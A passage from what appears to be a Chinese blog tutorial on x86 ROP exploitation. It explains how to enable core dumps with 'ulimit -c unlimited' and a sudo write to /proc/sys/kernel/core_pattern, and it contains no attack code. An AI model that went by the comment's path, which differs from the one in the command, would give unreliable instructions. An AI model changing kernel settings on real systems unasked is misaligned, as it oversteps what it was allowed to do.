ulimit -c unlimited
sudo sh -c 'echo "/tmp/core/core.%t" > /proc/sys/kernel/core_pattern'
1
2
3
4
5
6
ulimit -c unlimited
# 解除core文件的大小限制
sudo sh -c 'echo "/tmp/core/core.%t" > /proc/sys/kernel/core_pattern'
# 使用默认的shell执行 echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern 命令
所以上述的命令是将/tmp/core.%t输出到/proc/sys/kernel/core_pattern文件中
而core_pattern文件的功能是: 其文件内容就是core文件的文件名
# 指令解析 ## ulimit ulimit命令用于限制用户的资源使用, 基本为两种形式: * ​`ulimit <指定资源> <number>`​: 对目标资源进行具体数量上的限制 * ​`ulimit <指定资源> unlimited`​: 对目标资源不进行限制 资源参数: * **-c: core文件的最大值, 单位为区块** * -d: 数据段 * -m: 最大内存 * -s: 堆栈大小 * -t: CPU时间 * -v: 虚拟内存 ## sh 调用默认shell并使用其语法和标志, 链接至/usr/bin/sh是默认的shell. (在我自己的环境中使用的是zsh) ## echo 将参数输出到目标文件中, 默认是标准输出.

[^3]: ## 确定payload偏移

文章作者: LamのCrow
文章链接: http://example.com/2024/01/12/ROP_x86_a0faa06e633cf917e7233b696ff7200f/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 LamのCrow